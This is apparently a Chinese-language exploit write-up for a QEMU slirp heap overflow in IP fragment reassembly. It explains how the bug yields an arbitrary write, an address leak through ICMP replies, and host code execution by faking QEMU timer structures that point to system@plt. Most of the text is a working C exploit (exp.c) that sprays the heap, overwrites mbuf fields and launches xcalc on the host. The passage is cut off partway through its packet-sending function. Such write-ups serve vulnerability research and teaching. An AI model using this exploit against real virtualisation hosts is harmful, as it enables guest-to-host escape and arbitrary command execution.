* Adjust ip_len to not reflect header,
* set ip_mff if more fragments are expected,
* convert offset of this to bytes.
*/
ip->ip_len -= hlen;
if (ip->ip_off & IP_MF)
ip->ip_tos |= 1;
else
ip->ip_tos &= ~1;

ip->ip_off <<= 3;

/*
* If datagram marked as having more fragments
* or if this is not the first fragment,
* attempt reassembly; if it succeeds, proceed.
*/
if (ip->ip_tos & 1 || ip->ip_off) {
ip = ip_reass(slirp, ip, fp);
if (ip == NULL)
return;
m = dtom(slirp, ip);
} else
if (fp)
ip_freef(slirp, fp);

}
}
static struct ip *
ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp)
{
/*
* If first fragment to arrive, create a reassembly queue.
*/
if (fp == NULL) {
struct mbuf *t = m_get(slirp);
}
struct mbuf *
m_get(Slirp *slirp)
{
register struct mbuf *m;
int flags = 0;

DEBUG_CALL("m_get");

if (slirp->m_freelist.qh_link == &slirp->m_freelist) {
m = g_malloc(SLIRP_MSIZE);
}
//...
}

任意地址写

任意地址写基于堆溢出,我们回顾一下刚才的ip_input函数,当IP_DF为0时调用ip_reass函数。当IP_MF不为1时(这里有个问题是为什么拿ipf_tos表示,正常对应ip包的service type位),即当前数据包为分包的最后一个,进入下面的循环进行链表数据包的拼接。

假设我们可以控制m->m_data以及m->m_len和n->m_data,就可以通过memcpy(m->m_data+m->m_len, n->m_data, n->m_len);拷贝可控数据到任意地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
static struct ip *
ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp)
{
//...
if (((struct ipasfrag *)(q->ipf_prev))->ipf_tos & 1)
return NULL;
/*
* Reassembly is complete; concatenate fragments.
*/
q = fp->frag_link.next;
m = dtom(slirp, q);

q = (struct ipasfrag *) q->ipf_next;
while (q != (struct ipasfrag*)&fp->frag_link) {
struct mbuf *t = dtom(slirp, q);
q = (struct ipasfrag *) q->ipf_next;
m_cat(m, t);
}
//...

}
//...
void
m_cat(struct mbuf *m, struct mbuf *n)
{
/*
* If there's no room, realloc
*/
if (M_FREEROOM(m) < n->m_len)
m_inc(m, m->m_len + n->m_len);

memcpy(m->m_data+m->m_len, n->m_data, n->m_len);
m->m_len += n->m_len;

m_free(n);
}

exp中的arb_write逻辑如下。首先spray多次调用malloc清空堆内存,同主机建立connection从而申请得到so_rcv结构体,再发送一个MF为1的数据包,id为0xdead,触发分配0x668的mbuf,这个数据包刚好位于so_rcv的后面,我们通过write堆溢出覆写其m_data部分为指定地址(这里也可以部分写低地址)。之后再发送一个id相同,MF为0的数据包,触发合并,memcpy调用,send_ip_pkt(&pkt_info, write_data, write_data_len);将指定数据拷贝到m_data所在的地址。

地址泄露

泄露地址这个方法感觉非常巧妙,是拿icmp的响应包来实现的,既然都复习了IP协议,不妨多来看一眼tcp协议和icmp协议。如下图所示。

字段就不过多解释了,方便看exp的时候能对照上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
*
* TCP header.
* Per RFC 793, September, 1981.
*/
struct tcphdr {
u_short th_sport; /* source port */
u_short th_dport; /* destination port */
tcp_seq th_seq; /* sequence number */
tcp_seq th_ack; /* acknowledgement number */
#if BYTE_ORDER == LITTLE_ENDIAN
u_char th_x2:4, /* (unused) */
th_off:4; /* data offset */
#endif
#if BYTE_ORDER == BIG_ENDIAN
u_char th_off:4, /* data offset */
th_x2:4; /* (unused) */
#endif
u_char th_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
u_short th_win; /* window */
u_short th_sum; /* checksum */
u_short th_urp; /* urgent pointer */
};

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
struct icmp
{
u_int8_t icmp_type; /* type of message, see below */
u_int8_t icmp_code; /* type sub code */
u_int16_t icmp_cksum; /* ones complement checksum of struct */
union
{
u_char ih_pptr; /* ICMP_PARAMPROB */
struct in_addr ih_gwaddr; /* gateway address */
struct ih_idseq /* echo datagram */
{
u_int16_t icd_id;
u_int16_t icd_seq;
} ih_idseq;
u_int32_t ih_void;

/* ICMP_UNREACH_NEEDFRAG -- Path MTU Discovery (RFC1191) */
struct ih_pmtu
{
u_int16_t ipm_void;
u_int16_t ipm_nextmtu;
} ih_pmtu;

struct ih_rtradv
{
u_int8_t irt_num_addrs;
u_int8_t irt_wpa;
u_int16_t irt_lifetime;
} ih_rtradv;
} icmp_hun;
#define icmp_pptr icmp_hun.ih_pptr
#define icmp_gwaddr icmp_hun.ih_gwaddr
#define icmp_id icmp_hun.ih_idseq.icd_id
#define icmp_seq icmp_hun.ih_idseq.icd_seq
#define icmp_void icmp_hun.ih_void
#define icmp_pmvoid icmp_hun.ih_pmtu.ipm_void
#define icmp_nextmtu icmp_hun.ih_pmtu.ipm_nextmtu
#define icmp_num_addrs icmp_hun.ih_rtradv.irt_num_addrs
#define icmp_wpa icmp_hun.ih_rtradv.irt_wpa
#define icmp_lifetime icmp_hun.ih_rtradv.irt_lifetime
union
{
struct
{
u_int32_t its_otime;
u_int32_t its_rtime;
u_int32_t its_ttime;
} id_ts;
struct
{
struct ip idi_ip;
/* options and then 64 bits of data */
} id_ip;
struct icmp_ra_addr id_radv;
u_int32_t id_mask;
u_int8_t id_data[1];
} icmp_dun;
#define icmp_otime icmp_dun.id_ts.its_otime
#define icmp_rtime icmp_dun.id_ts.its_rtime
#define icmp_ttime icmp_dun.id_ts.its_ttime
#define icmp_ip icmp_dun.id_ip.idi_ip
#define icmp_radv icmp_dun.id_radv
#define icmp_mask icmp_dun.id_mask
#define icmp_data icmp_dun.id_data
};

说回这里的leak方法。

  1. 首先通过堆溢出覆写m_data的低位为0xb00(因为该heap所在的内存页虚拟地址为0xxx000000),不会存在越界的问题。
  2. 通过任意地址写将伪造的icmp包写入到0x7fxxxb00+0x318+0x14+14处(eth报头14字节,IP报头0x14字节,m_len为0x318)
  3. 再来一次任意写,先connect得到so_rcv,再发送一个ICMP请求包,数据包的MF为1,其mbuf会被分配到so_rcv的后面
  4. 故技重施,利用so_rcv溢出到mbuf->m_data,改为0xb00+0x318+14+0x14(我们之前伪造的icmp包的位置)
  5. 发一个MF=0的包,触发ICMP的响应,得到伪造的icmp数据包及后面的脏数据,从而leak出text地址和heap地址。

劫持控制流

最后劫持控制流的方法还是用QemuTimer,在bss有个全局变量main_loop_tlg,类型为QEMUTimerList,其成员active_timers为QEMUTimer*类型的变量,我们在堆上伪造这两个变量,覆写bss的全局变量,伪造cb为system@plt,opaque为参数地址,当expire_time过完就会触发命令执行。

1
2
3
4
5
6
.bss:00000000012C3900 main_loop_tlg   QEMUTimerListGroup_0 <?>
.bss:00000000012C3900 ; DATA XREF: qemu_clock_init+28↑o
.bss:00000000012C3900 ; qemu_clock_init+C0↑o ...
.bss:00000000012C3920 ; QEMUClock_0 qemu_clocks[4]
.bss:00000000012C3920 qemu_clocks QEMUClock_0 4 dup(<?>) ; DATA XREF: qemu_clock_ptr+11↑o
.bss:00000000012C39A0 ; AioContext_0 *qemu_aio_context
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// util/qemu-timer.c
struct QEMUTimerList {
QEMUClock *clock;
QemuMutex active_timers_lock;
QEMUTimer *active_timers;
QLIST_ENTRY(QEMUTimerList) list;
QEMUTimerListNotifyCB *notify_cb;
void *notify_opaque;

/* lightweight method to mark the end of timerlist's running */
QemuEvent timers_done_ev;
};

// include/qemu/timer.h
struct QEMUTimer {
int64_t expire_time; /* in nanoseconds */
QEMUTimerList *timer_list;
QEMUTimerCB *cb; // 函数指针
void *opaque; // 参数
QEMUTimer *next;
int attributes;
int scale;
};

调试记录

raycp师傅的exp注释写的很详尽,不过中间有一些不太好理解的地方,这里记录了一下自己动态调试的过程备忘。

寻找地址的方法:payload里给特殊字符,gdb里find字符串定位关键数据结构。

  1. 第一次堆溢出覆写m_data为0xb00

  1. 通过任意地址写写入伪造的eth+ip+icmp包

  1. 第二次堆溢出覆写m_data为0xb00+0x14+0x318+14的icmp伪造包处

  1. 根据leak的数据反查内存

  1. 对比之后确认泄露的内存恰为我们输入的伪造icmp地址处,不过在输出前做了一次拷贝

  1. 定位有效地址

  1. 伪造timer_list和timer

  1. 执行效果

exp.c

基本就是raycp师傅的代码,需要自己调试一下fake timer_list以及改system@plt地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <unistd.h> // close()
#include <assert.h>
#include <string.h> // strcpy, memset(), and memcpy()

#include <netdb.h> // struct addrinfo
#include <sys/types.h> // needed for socket(), uint8_t, uint16_t, uint32_t
#include <sys/socket.h> // needed for socket()
#include <netinet/in.h> // IPPROTO_RAW, IPPROTO_IP, IPPROTO_TCP, INET_ADDRSTRLEN
#include <netinet/ip.h> // struct ip and IP_MAXPACKET (which is 65535)
#include <netinet/ip_icmp.h> // struct icmp, ICMP_ECHO
#define __FAVOR_BSD // Use BSD format of tcp header
#include <netinet/tcp.h> // struct tcphdr
#include <arpa/inet.h> // inet_pton() and inet_ntop()
#include <sys/ioctl.h> // macro ioctl is defined
#include <bits/ioctls.h> // defines values for argument "request" of ioctl.
#include <net/if.h> // struct ifreq
#include <linux/if_ether.h> // ETH_P_IP = 0x0800, ETH_P_IPV6 = 0x86DD
#include <linux/if_packet.h> // struct sockaddr_ll (see man 7 packet)
#include <net/ethernet.h>
#include <sys/time.h> // gettimeofday()

#include <errno.h> // errno, perror()

// Define some constants.
#define ETH_HDRLEN 14 // Ethernet header length
#define IP4_HDRLEN 20 // IPv4 header length
#define TCP_HDRLEN 20 // TCP header length, excludes options data
#define ICMP_HDRLEN 8 // ICMP header length for echo request, excludes data

#define DEBUG

#ifdef DEBUG
#define dbg_printf(fmt, ...) \
do { \
fprintf(stderr, "%s:%d(): " fmt, __func__, __LINE__, ##__VA_ARGS__); \
} while (0)
#else
#define dbg_printf(fmt, ...) \
do { \
} while (0)
#endif

//char g_interface[] = "ens2";
char g_interface[] = "enp0s3";
char host[] = "10.0.2.2";
typedef void *Slirp;
struct socket {};
struct mbuf {
/* XXX should union some of these! */
/* header at beginning of each mbuf: */
struct mbuf *m_next; /* Linked list of mbufs */
struct mbuf *m_prev;
struct mbuf *m_nextpkt; /* Next packet in queue/record */
struct mbuf *m_prevpkt; /* Flags aren't used in the output queue */
int m_flags; /* Misc flags */
int m_size; /* Size of mbuf, from m_dat or m_ext */
struct socket *m_so;
caddr_t m_data; /* Current location of data */
int m_len; /* Amount of data in this mbuf, from m_data */
Slirp *slirp;
bool resolution_requested;
uint64_t expiration_date;
char *m_ext;
/* start of dynamic buffer area, must be last element */
char m_dat[];
};

// some header info to pass to the send_ip_pkt
struct ip_pkt_info {
uint16_t ip_id;
uint16_t ip_off;
bool MF;
uint8_t ip_p;
};

// Function prototypes
uint16_t checksum(uint16_t *, int);
uint16_t icmp4_checksum(struct icmp, uint8_t *, int);
uint16_t tcp4_checksum(struct ip, struct tcphdr, uint8_t *, int);
char *allocate_strmem(int);
uint8_t *allocate_ustrmem(int);
int *allocate_intmem(int);
void spray(int, uint16_t);
void send_ip_pkt(struct ip_pkt_info *, uint8_t *, int);
void leak(uint64_t, int);
int send_raw_pkt();
int arbitrary_write(uint64_t, int, uint8_t *, int, int);
void hexdump(const char *, void *, int);

uint64_t text_base, heap_base;
uint16_t g_spray_ip_id;
int stop_flag;

int main() {
const char eth_frame[] =
"\x52\x56\x00\x00\x00\x02\x52\x54\x00\x12\x34\x56\x08\x00";
struct icmp *icmphdr;
struct ip *iphdr;
uint8_t buf[IP_MAXPACKET];
char src_ip[INET_ADDRSTRLEN], dst_ip[INET_ADDRSTRLEN];
int status;

puts("game start");
memcpy(buf, eth_frame, ETH_HDRLEN);
iphdr = (struct ip *)(buf + ETH_HDRLEN);
strcpy(src_ip, "10.0.2.15");
strcpy(dst_ip, "10.0.2.2");
iphdr->ip_hl = IP4_HDRLEN / sizeof(uint32_t);
iphdr->ip_v = 4;
iphdr->ip_tos = 0;
// 这不需要htons,因为在ip_input里会转换一遍
iphdr->ip_len = (ICMP_HDRLEN);
iphdr->ip_id = (0xcdcd);
// Zero (1 bit)
// Do not fragment flag (1 bit)
// More fragments following flag (1 bit)
// Fragmentation offset (13 bits)
iphdr->ip_off = ((0 << 15) + (0 << 14) + (0 << 13) + (0 >> 3));
iphdr->ip_ttl = 255;
iphdr->ip_p = IPPROTO_ICMP;
if ((status = inet_pton(AF_INET, src_ip, &(iphdr->ip_src))) != 1 ||
(status = inet_pton(AF_INET, dst_ip, &(iphdr->ip_dst))) != 1) {
dbg_printf("inet_pton() failed.\nError message: %s", strerror(status));
exit(EXIT_FAILURE);
}
iphdr->ip_sum = 0;
iphdr->ip_sum = checksum((uint16_t *)&iphdr, IP4_HDRLEN);

icmphdr = (struct icmp *)(buf + ETH_HDRLEN + IP4_HDRLEN);
icmphdr->icmp_type = ICMP_ECHO;
// Message Code (8 bits): echo request
icmphdr->icmp_code = 0;
// Identifier (16 bits): usually pid of sending process - pick a number
icmphdr->icmp_id = htons(1000);
// Sequence Number (16 bits): starts at 0
icmphdr->icmp_seq = htons(0);
// ICMP header checksum (16 bits): set to 0 when calculating checksum
// TBD
// icmphdr->icmp_cksum = icmp4_checksum(icmphdr, data, datalen);
icmphdr->icmp_cksum = icmp4_checksum(*icmphdr, buf, 0);
//const char exec_cmd[] =

//const char exec_cmd[] = "/snap/bin/gnome-calculator";
const char exec_cmd[] = "/usr/bin/xcalc";
memcpy(buf + ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN, exec_cmd,strlen(exec_cmd) + 1);
g_spray_ip_id = 0xaabb;
arbitrary_write(
0x0b00, 3, buf,
ETH_HDRLEN + IP4_HDRLEN + ICMP_HDRLEN + strlen(exec_cmd) + 1, 0x250+0x50);
g_spray_ip_id = 0xbbaa;
leak(0x0b00 + 0x318 + 0x14 + ETH_HDRLEN,
3); // reass处理完后会把m_data减掉ip头的长度
dbg_printf("after leak");
getchar();

// fake timer_list

uint64_t fake_timer_list = heap_base + 0x1000;
//*(uint64_t *)buf = text_base + 0x11e9040; // qemu_clocks
*(uint64_t *)buf = text_base + 0x12C3920; // qemu_clocks
memset(buf + 8, 0, 8 * 6);
*(uint64_t *)(buf + 0x38) = 0x0000000100000000;
//*(uint64_t *)(buf + 0x40) = fake_timer_list + 0x70; // active_timers
*(uint64_t *)(buf + 0x40) = fake_timer_list + 0x70; // active_timers
*(uint64_t *)(buf + 0x48) = 0;
*(uint64_t *)(buf + 0x50) = 0;
*(uint64_t *)(buf + 0x58) = text_base + 0x30eeda; // qemu_timer_notify_cb
*(uint64_t *)(buf + 0x60) = 0;
*(uint64_t *)(buf + 0x68) = 0x0000000100000000;
// end of timer_list
// start of active_timers
/* gdb-peda$ p *timer_list->active_timers
$49 = {
expire_time = 0x22823f5aad00,
timer_list = 0x55a8d2594840,
cb = 0x55a8d0b66a82 <gui_update>,
opaque = 0x55a8d3ae6e50,
next = 0x55a8d3ae6e80,
attributes = 0x0,
scale = 0xf4240
} */
*(uint64_t *)(buf + 0x70) = 0; // expire_time set to 0 will trigger func cb
*(uint64_t *)(buf + 0x78) = fake_timer_list;
*(uint64_t *)(buf + 0x80) = text_base + 0x2be010; // system plt
//to verify
*(uint64_t *)(buf + 0x88) = heap_base + 0xe38 + 0xa; // parameter address
*(uint64_t *)(buf + 0x90) = 0;
*(uint64_t *)(buf + 0x98) = 0x000f424000000000;
g_spray_ip_id = 0xccbb;
arbitrary_write(fake_timer_list - 0x318, 8, buf, 0xa0, 0x20);
printf("[+]Now we have finished writing fake timer list.\n");
//getchar();

stop_flag = 1;
// dbg_printf("check heap here");
// qemu timer
// 改掉全局的main_loop_tlg
*(uint64_t *)buf = fake_timer_list; // qemu_clocks
g_spray_ip_id = 0xddbb;
arbitrary_write(text_base + 0x12C3900 - 0x318, 8, buf, 8, 0x20);
printf("[+]Now we have finished writing main_loop_tlg.\n");
getchar();
return 0;
}

void leak(uint64_t addr, int addr_len) {
int s, len, i, recvsd;
struct sockaddr_in ip_addr;
int ret;
struct ip_pkt_info pkt_info;

uint8_t *payload = (uint8_t *)malloc(IP_MAXPACKET);
uint8_t *payload_start = payload;
uint32_t *payload32 = (uint32_t *)payload;
uint64_t *payload64 = (uint64_t *)payload;

memset(payload, 'A', 0x1000);
memcpy(payload, "ama2in9", 7);

dbg_printf("in leak_text...\n");
for (i = 0; i < 0x20; ++i) {
dbg_printf("spraying size 0x2000, id: %d\n", i);
spray(0x2000, g_spray_ip_id + i);
}
dbg_printf("spray finished.\n");
// getchar();

s = socket(AF_INET, SOCK_STREAM, 0);
ip_addr.sin_family = AF_INET;
ip_addr.sin_addr.s_addr = inet_addr(host);
ip_addr.sin_port = htons(113); // vulnerable port
len = sizeof(struct sockaddr_in);
ret = connect(s, (struct sockaddr *)&ip_addr, len);
if (ret == -1) {
perror("0ops: client");
exit(1);
}

pkt_info.ip_id = 0xdead;
pkt_info.ip_off = 0;
pkt_info.MF = 1;
pkt_info.ip_p = IPPROTO_ICMP;
send_ip_pkt(&pkt_info, payload, 0x300 + 4); // 这个packet就在so_rcv的后面

/*
let's overflow here!
send(xxx)
*/
for (i = 0; i < 6; ++i) {
write(s, payload, 0x500); // 不能send一个满的m_buf,因为会有一个off by
// null = =。。。。
usleep(60000); // 不知道为啥,貌似内核会合并包?
// 如果合并了就会off by null...
// 所以sleep一下
dbg_printf("send %d complete\n", i + 1);
}
write(s, payload, 1072);

// actual overflow here
*payload64++ = 0;
*payload64++ = 0x675; // chunk header
*payload64++ = 0; // m_next
*payload64++ = 0; // m_prev
*payload64++ = 0; // m_nextpkt
*payload64++ = 0; // m_prevpkt
payload32 = (uint32_t *)payload64;
*payload32++ = 0; // m_flags
*payload32++ = 0x608; // m_size
payload64 = (uint64_t *)payload32;
*payload64++ = 0; // m_so
payload = (uint8_t *)payload64;
assert(addr_len <= 8);
for (i = 0; i < addr_len; ++i) {
*payload++ = (addr >> (i * 8)) & 0xff; // m_data
}
write(s, payload_start, (uint8_t *)payload - payload_start);
printf("[+]leaking: Now we have finished faking m_data.\n");
//getchar();
// write(s, payload, 0x1000);
dbg_printf("trigger reass!");
// getchar();
memset(payload, 'A', 0x1000);
memcpy(payload, "ama2in9", 7);
pkt_info.ip_id = 0xdead;
pkt_info.ip_off = 0x300 + 24;
pkt_info.MF = 0;
pkt_info.ip_p = IPPROTO_ICMP;

recvsd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
send_ip_pkt(&pkt_info, payload, 0);
printf("[+]leaking: Now we have finished writting to target.\nAlso, this means we will get the response packet we want.\n");
//getchar();

// we receive data here
int bytes, status;
struct ip *recv_iphdr;
struct icmp *recv_icmphdr;
uint8_t recv_ether_frame[IP_MAXPACKET];
struct sockaddr from;
socklen_t fromlen;
struct timeval wait, t1, t2;
struct timezone tz;
double dt;

(void)gettimeofday(&t1, &tz);
wait.tv_sec = 2;
wait.tv_usec = 0;
setsockopt(recvsd, SOL_SOCKET, SO_RCVTIMEO, (char *)&wait,
sizeof(struct timeval));
recv_iphdr = (struct ip *)(recv_ether_frame + ETH_HDRLEN);
recv_icmphdr = (struct icmp *)(recv_ether_frame + ETH_HDRLEN + IP4_HDRLEN);
int count = 0;
while (1) {
memset(recv_ether_frame, 0, IP_MAXPACKET * sizeof(uint8_t));
memset(&from, 0, sizeof(from));
fromlen = sizeof(from);
if ((bytes = recvfrom(recvsd, recv_ether_frame, IP_MAXPACKET, 0,
(struct sockaddr *)&from, &fromlen)) < 0) {
status = errno;
if (status == EAGAIN) { // EAGAIN = 11
dbg_printf("No reply within %li seconds.\n", wait.tv_sec);
exit(EXIT_FAILURE);
} else if (status == EINTR) { // EINTR = 4
continue;
} else {
perror("recvfrom() failed ");
exit(EXIT_FAILURE);
}
} // End of error handling conditionals.
// hexdump("recv", recv_ether_frame, 0x50);
dbg_printf("recv count %d\n", count++);
if ((((recv_ether_frame[12] << 8) + recv_ether_frame[13]) ==
ETH_P_IP) &&
(recv_iphdr->ip_p == IPPROTO_ICMP) &&
(recv_icmphdr->icmp_type == ICMP_ECHOREPLY)) {
// Stop timer and calculate how long it took to get a reply.
(void)gettimeofday(&t2, &tz);
dt = (double)(t2.tv_sec - t1.tv_sec) * 1000.0 +
(double)(t2.tv_usec - t1.tv_usec) / 1000.0;
// 底下这个可能会segfault
// if (inet_ntop(AF_INET, &(recv_iphdr->ip_src.s_addr), rec_ip,
// INET_ADDRSTRLEN) == NULL) {
// status = errno;
// fprintf(stderr, "inet_ntop() failed.\nError message: %s",
// strerror(status)); exit(EXIT_FAILURE);
// }
dbg_printf("%g ms (%i bytes received)\n", dt, bytes);
#ifdef DEBUG
hexdump("ping recv", recv_ether_frame, bytes);

#endif
if (bytes < 0x200)
continue;
text_base =
((*(uint64_t *)(recv_ether_frame + 0x88)) - 0x7e7d01) & ~0xfff;
heap_base = (*(uint64_t *)(recv_ether_frame + 0x90)) & ~0xffffff;
dbg_printf("leak text_base: 0x%lx\n"
"leak heap_base: 0x%lx\n",
text_base, heap_base);
// getchar();
break;
} // End if IP ethernet frame carrying ICMP_ECHOREPLY
}

//getchar();
close(s);
close(recvsd);
free(payload_start);
}

int arbitrary_write(uint64_t addr, int addr_len, uint8_t *write_data,
int write_data_len, int spray_times) {
int s, len, i;
struct sockaddr_in ip_addr;
int ret;
struct ip_pkt_info pkt_info;

uint8_t *payload = (uint8_t *)malloc(IP_MAXPACKET);
uint8_t *payload_start = payload;
uint32_t *payload32 = (uint32_t *)payload;
uint64_t *payload64 = (uint64_t *)payload;

memset(payload, 'A', 0x1000);
memcpy(payload, "xmzyshypnc", 10);

for (i = 0; i < spray_times; ++i) {
dbg_printf("spraying size 0x2000, id: %d\n", i);
spray(0x2000, g_spray_ip_id + i);
}
printf("[+]Now we spray to malloc all freed buf.\n");
//getchar();
dbg_printf("spray finished.\n");

s = socket(AF_INET, SOCK_STREAM, 0);
ip_addr.sin_family = AF_INET;
ip_addr.sin_addr.s_addr = inet_addr(host);
ip_addr.sin_port = htons(113); // vulnerable port
len = sizeof(struct sockaddr_in);
ret = connect(s, (struct sockaddr *)&ip_addr, len);
if (ret == -1) {
perror("oops: client");
exit(1);
}
pkt_info.ip_id = 0xdead;
pkt_info.ip_off = 0;
pkt_info.MF = 1;
pkt_info.ip_p = 0xff;
send_ip_pkt(&pkt_info, payload, 0x300 + 4); // 这个packet就在so_rcv的后面
printf("[+]Now we finished the malloc of so_rcv and the mbuf.\n");
//getchar();

/*
let's overflow here!
send(xxx)
*/
for (i = 0; i < 6; ++i) {
write(s, payload, 0x500); // 不能send一个满的m_buf,因为会有一个off by
// null = =。。。。
usleep(20000); // 不知道为,貌似内核会合并包?
// 如果合并了就会off by null...
// 所以sleep一下
dbg_printf("send %d complete\n", i + 1);
}
write(s, payload, 1072);
// actual overflow here
*payload64++ = 0;
*payload64++ = 0x675; // chunk header
*payload64++ = 0; // m_next
*payload64++ = 0; // m_prev
*payload64++ = 0; // m_nextpkt
*payload64++ = 0; // m_prevpkt
payload32 = (uint32_t *)payload64;
*payload32++ = 0; // m_flags
*payload32++ = 0x608; // m_size
payload64 = (uint64_t *)payload32;
*payload64++ = 0; // m_so
payload = (uint8_t *)payload64;
assert(addr_len <= 8);
for (i = 0; i < addr_len; ++i) {
*payload++ = (addr >> (i * 8)) & 0xff; // m_data
}
write(s, payload_start, (uint8_t *)payload - payload_start);

printf("[+]Now we have written faked mbuf struct");
//getchar();
// write(s, payload, 0x1000);
if (stop_flag) {
puts("trigger!");
getchar();
}
pkt_info.ip_id = 0xdead;
pkt_info.ip_off = 0x300 + 24;
pkt_info.MF = 0;
pkt_info.ip_p = 0xff;
send_ip_pkt(&pkt_info, write_data, write_data_len);
printf("[+]Now we have trigger the written to target addr.\n");
//getchar();

close(s);
free(payload_start);
return 0;
}

// 真正malloc的大小是payloadlen + 64
void send_ip_pkt(struct ip_pkt_info *pkt_info, uint8_t *payload,
int payloadlen) {
int status, sd, *ip_flags, *tcp_flags;
const int on = 1;
char *interface, *src_ip, *dst_ip;
struct ip iphdr;
uint8_t *packet;
struct sockaddr_in sin;
struct ifreq ifr;

// Allocate memory for various arrays.
packet = allocate_ustrmem(IP_MAXPACKET);
interface = allocate_strmem(40);
src_ip = allocate_strmem(INET_ADDRSTRLEN);
dst_ip = allocate_strmem(INET_ADDRSTRLEN);
ip_flags = allocate_intmem(4);
tcp_flags = allocate_intmem(8);

// Interface to send packet through.
strcpy(interface, g_interface);

// Submit request for a socket descriptor to look up interface.
if ((sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket() failed to get socket descriptor for using ioctl() ");
exit(EXIT_FAILURE);
}

// Use ioctl() to look up interface index which we will use to
// bind socket descriptor sd to specified interface with setsockopt() since
// none of the other arguments of sendto() specify which interface to use.
memset(&ifr, 0, sizeof(ifr));
